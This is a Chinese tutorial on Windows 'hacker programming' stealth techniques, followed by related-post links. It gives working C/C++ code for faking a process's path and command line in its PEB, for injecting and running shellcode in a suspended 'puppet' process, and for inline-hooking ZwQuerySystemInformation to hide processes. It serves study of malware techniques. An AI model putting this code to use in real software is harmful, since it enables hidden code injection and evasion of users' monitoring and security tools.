进程伪装:通过修改指定进程PEB中的路径和命令行信息实现伪装。
傀儡进程:通过进程挂起,替换内存数据再恢复执行,从而实现创建“傀儡进程”。
进程隐藏:通过HOOK函数ZwQuerySystemInfomation来实现进程隐藏。

1 进程伪装

实现原理

就是修改指定进程环境块中的进程路径ImagePathName以及命令行CommandLine信息,从而达到进程伪装的效果。所以,实现的关键在于进程环境块的获取。可以用ntdll.dll的导出函数NTQueryInfomationProcess来获取指定进程的PEB地址,然后调用ReadProcessMemory和WriteProcessMemory来读写目标进程。

编码实现

关键字:NtQueryInformationProcess,Read/WriteProcessMemory,PROCESS_BASIC_INFORMATION,PEB

// 修改指定进程的进程环境块PEB中的路径和命令行信息, 实现进程伪装
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t *lpwszPath, wchar_t *lpwszCmd)
{// 打开进程获取句柄HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);if (NULL == hProcess){ShowError("OpenProcess");return FALSE;}typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;PROCESS_BASIC_INFORMATION pbi = { 0 };PEB peb = { 0 };RTL_USER_PROCESS_PARAMETERS Param = { 0 };USHORT usCmdLen = 0;USHORT usPathLen = 0;// 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");if (NULL == NtQueryInformationProcess){ShowError("GetProcAddress");return FALSE;}// 获取指定进程的基本信息NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);if (!NT_SUCCESS(status)){ShowError("NtQueryInformationProcess");return FALSE;}/*注意在读写其他进程的时候,注意要使用ReadProcessMemory/WriteProcessMemory进行操作,每个指针指向的内容都需要获取,因为指针只能指向本进程的地址空间,必须要读取到本进程空间。要不然一直提示位置访问错误!*/// 获取指定进程进本信息结构中的PebBaseAddress::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);// 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间中::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);// 修改指定进程环境块PEB中命令行信息, 注意指针指向的是指定进程空间中usCmdLen = 2 + 2 * ::wcslen(lpwszCmd);::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);// 修改指定进程环境块PEB中路径信息, 注意指针指向的是指定进程空间中usPathLen = 2 + 2 * ::wcslen(lpwszPath);::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);return TRUE;
}

测试

修改前

修改后

傀儡进程

实现原理

傀儡进程的创建原理就是修改某一进程的内存数据,向内存中写入Shellcode代码,并修改该进程的执行流程,使其转而执行Shellcode代码。
关键点有二:
一是写入ShellCode数据的时机,二是更改执行流程的方法。当我们CreateProcess的时候,设置状态为CREATE_SUSPENDED,这样主线程会挂起,直到通过ResumeThread来回复线程方可继续执行。在这个时候我们可以通过SetThreadContext函数修改线程上下文中的EIP数据,改变程序运行顺序。

编码实现

关键字:Get/SetThreadContext,ResumeThread

// 创建进程并替换进程内存数据, 更改执行顺序
BOOL ReplaceProcess(char *pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
{STARTUPINFO si = { 0 };PROCESS_INFORMATION pi = { 0 };CONTEXT threadContext = { 0 };BOOL bRet = FALSE;::RtlZeroMemory(&si, sizeof(si));::RtlZeroMemory(&pi, sizeof(pi));::RtlZeroMemory(&threadContext, sizeof(threadContext));si.cb = sizeof(si);// 创建进程并挂起主线程bRet = ::CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);if (FALSE == bRet){ShowError("CreateProcess");return FALSE;}// 读取基址的方法: 此时context中的EBX是指向PEB的指针, 而在PEB偏移是8的位置存放 PEB_LDR_DATA 的地址// 我们可以根据 PEB_LDR_DATA 获取进程基址以及遍历进程链获取所有进程
//  DWORD dwProcessBaseAddr = 0;
//  ::ReadProcessMemory(pi.hProcess, (LPVOID)(8 + threadContext.Ebx), &dwProcessBaseAddr, sizeof(dwProcessBaseAddr), NULL);// 在替换的进程中申请一块内存LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (NULL == lpDestBaseAddr){ShowError("VirtualAllocEx");return FALSE;}// 写入替换的数据bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);if (FALSE == bRet){ShowError("WriteProcessError");return FALSE;}// 获取线程上下文// 注意此处标志,一定要写!!!threadContext.ContextFlags = CONTEXT_FULL;bRet = ::GetThreadContext(pi.hThread, &threadContext);//64:Wow64GetThreadContextif (FALSE == bRet){ShowError("GetThreadContext");return FALSE;}// 修改进程的PE文件的入口地址以及映像大小,先获取原来进程PE结构的加载基址threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset;// 设置挂起进程的线程上下文bRet = ::SetThreadContext(pi.hThread, &threadContext);//Wow64SetThreadContextif (FALSE == bRet){ShowError("SetThreadContext");return FALSE;}// 恢复挂起的进程的线程::ResumeThread(pi.hThread);return TRUE;
}

测试

直接启动测试程序弹框:

用傀儡进程的形式启动,成功执行了shellcode代码。

进程隐藏

实现原理

通过HOOK WIN32API ZwQuerySystemInfomation来实现进程隐藏。遍历进程通常是通过CreateToolhelp32Snapshot等来实现的,通过逆向这些API可以发现,他们内部最终是通过调用ZwQuerySystemInfomation,所以只需要HOOKZwQuerySystemInfomation就行了。
在钩子函数中判断检索的信息是否是该进程信息,是则去掉,进而隐藏进程信息。
但是注意这个函数没导出,还是要手动去ntdll里面去获取。

INLINE HOOK技术介绍:
Inline hook的核心原理是在获取进程中指定API的地址后,修改该API函数入口地址的前几个字节数据,写入一个跳转指令,跳转到自定义的钩子函数执行。
注意区分32和64位系统,他们的指针长度是不一样的。所以32位系统需要更改函数前五字节数据,64位则是前12字节数据。

编码实现

void HookApi()
{// 获取 ntdll.dll 的加载基址, 若没有则返回HMODULE hDll = ::GetModuleHandle("ntdll.dll");if (NULL == hDll){return;}// 获取 ZwQuerySystemInformation 函数地址typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");if (NULL == ZwQuerySystemInformation){return;}// 32 位下修改前 5 字节, 64 位下修改前 12 字节
#ifndef _WIN64// jmp New_ZwQuerySystemInformation// 机器码位:e9 _dwOffset(跳转偏移)//        addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值//       addr2 --> 跳转地址的值,即_dwNewAddress的值//       跳转偏移 _dwOffset = addr2 - addr1BYTE pData[5] = { 0xe9, 0, 0, 0, 0};DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));// 保存前 5 字节数据::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));
#else// mov rax,0x1122334455667788// jmp rax// 机器码是://   48 b8 8877665544332211//    ff e0BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0};ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation;::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset));// 保存前 12 字节数据::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));
#endif// 设置页面的保护属性为 可读、可写、可执行DWORD dwOldProtect = 0;::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);// 修改::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));// 还原页面保护属性::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);}

windows黑客编程技术之隐藏技术(进程伪装,傀儡进程,进程隐藏)相关推荐

  1. mfc编程vc6.0实现进程的创建和通信_免费送书:windows黑客编程技术详解

    01 书怎么送 点赞并留言,关注在下面的公众号后台回复「抽奖」,弹出小程序后点击参与. 开奖时间是 7 月 7 号 20:00 ,一定要留意微信消息,如果你中奖了,请尽快在中奖页面提交收件人信息并备注 ...

  2. Windows黑客编程基础

    俗话说:"万事开头难",编程也不例外,初学者如何入门关键要有一份正确的理论作指 导,下面的这篇文章虽不能说是至理名言,但我相信通过作者细腻的分析.讲解和引导, 定能给初学者起到启蒙 ...

  3. 进程伪装实现将进程伪装成任意程序

    进程伪装 修改指定进程环境块中的进程路径以及命令行信息,从而达到进程 伪装的效果. 获取进程的句柄 内联汇编获取peb 修改命令行和imagepath #include<windows.h> ...

  4. windows黑客编程技术之加密技术:windows自带的加密库

    经典的加解密算法有AES,DES,RSA等,通过加密我们可以保护我们的数据. windows自带加密库 windows提供了一组CryptoAPI来对用户的敏感私钥数据提供保护,并以灵活的方式对数据进 ...

  5. C++黑客编程:键盘记录器,HOOK技术实现

    有一种技术被称为HOOK,人们习惯上叫做钩子.钩子技术的应用范围比较广:输入监控,API拦截,消息捕获等等. 今天我们来做的是键盘记录器 编译工具:visual studio 2019 编程语言:自然 ...

  6. windows黑客编程系列(九):使用ntdll.dll中并未公开的API进行压缩

    文章目录 压缩技术 利用WIN32自带API实现数据压缩 WIN API RtlGetCompressionWorkSpaceSize RtlCompressBuffer RtlDecompressB ...

  7. windows黑客编程系列(四):修改注册表键值对之自启动

    文章目录 自启动技术 注册表 WINAPI介绍 RegOpenKeyEx函数 参数说明 返回值 RegSetValueEx 参数说明 返回值 编码 运行效果 自启动技术 对于一个病毒木马来说,重要的不 ...

  8. windows黑客编程系列(十一):按键记录

    文章目录 功能技术模块 按键记录 WINAPI RegisterRawInputDevices tagRAWINPUTDEVICE结构体 GetRawInputData 编码实现 功能技术模块 病毒木 ...

  9. windows黑客编程系列(八):以固定频率获取屏幕截图

    文章目录 功能技术模块 桌面截屏 WIN API GetDC BitBlt ICONINFO结构体 编码实现 运行效果 功能技术模块 病毒木马的入侵并潜伏在用户计算机上总是有着某种目的,例如获取用户隐 ...

最新文章

  1. Acwing第 37 场周赛【完结】
  2. 时间复杂度为on的排序算法_排序算法amp;时间复杂度计算
  3. [Luogu1891]疯狂LCM[辗转相减法]
  4. 【转】Castle中AdditionalInterfaces用法介绍
  5. js long类型精度丢失_解决js处理Long类型丢失精度的问题
  6. multisim仿真D触发器设计的模六计数器并在数码管显示0-5
  7. cesium 球体半倾斜角度
  8. Windows核心编程_静态编译和动态编译的区别
  9. 12.UNIX 环境高级编程--线程控制
  10. matlab绘制数字滤波器的幅频响应曲线
  11. Python爬虫实战案例讲解——爬虫爬取地铁线路图
  12. 关于mysql的题目_关于MySQL的经典例题50道 答案参考
  13. android tif浏览器,简单三步评测几款TIFF格式图片浏览器
  14. 《python语言程序设计》第5章 课程内的笔记 中for循环转换成while
  15. VisionPro使用C#编写脚本
  16. 微信开发者工具黑屏/打不开解决办法
  17. 2019杭电多校第三场 6608 Fansblog(威尔逊定理+miller_rabin素性测试)
  18. Android熄屏与亮屏控制
  19. Android 资源文件layout-sw500dp、layout-w500dp和layout-h500dp的区别
  20. python xlsx 转csv

热门文章

  1. vue-aplayer的api详细讲解
  2. 2019高考江苏卷语文作文
  3. tcpdump抓包分析 https://www.01hai.com/note/av263669
  4. 国内的多语言网站主要体现在哪几方面
  5. php laravel 教程,Laravel 入门到精通教程
  6. 技校计算机考试题,2011年春季郡智技校计算机一年级期中考试题.doc
  7. 服务器通过笔记本共享网络连接外网
  8. 操作系统学习笔记:实时系统
  9. 用js计算12个月的社保缴纳总额-企业信息公示
  10. 咫尺天涯   三世桃花